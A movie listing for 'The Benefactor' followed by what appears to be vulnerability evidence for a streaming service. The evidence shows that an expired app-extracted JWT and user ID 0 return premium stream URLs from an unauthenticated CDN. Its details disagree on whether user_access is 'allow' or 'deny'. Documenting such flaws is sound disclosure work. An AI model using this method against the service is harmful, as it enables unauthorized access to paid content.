The Benefactor
Vj Junior Action 01h 23m 6 years ago

A philanthropist meddles in the lives of newly-married couples in an attempt to relive his past.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/8919/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access allow
paid_for YES (premium content)
substatus EXPIRED
serverhost 19
video_name 67344~19.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotek.b-cdn.net/99ff7/515/67344~19.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).
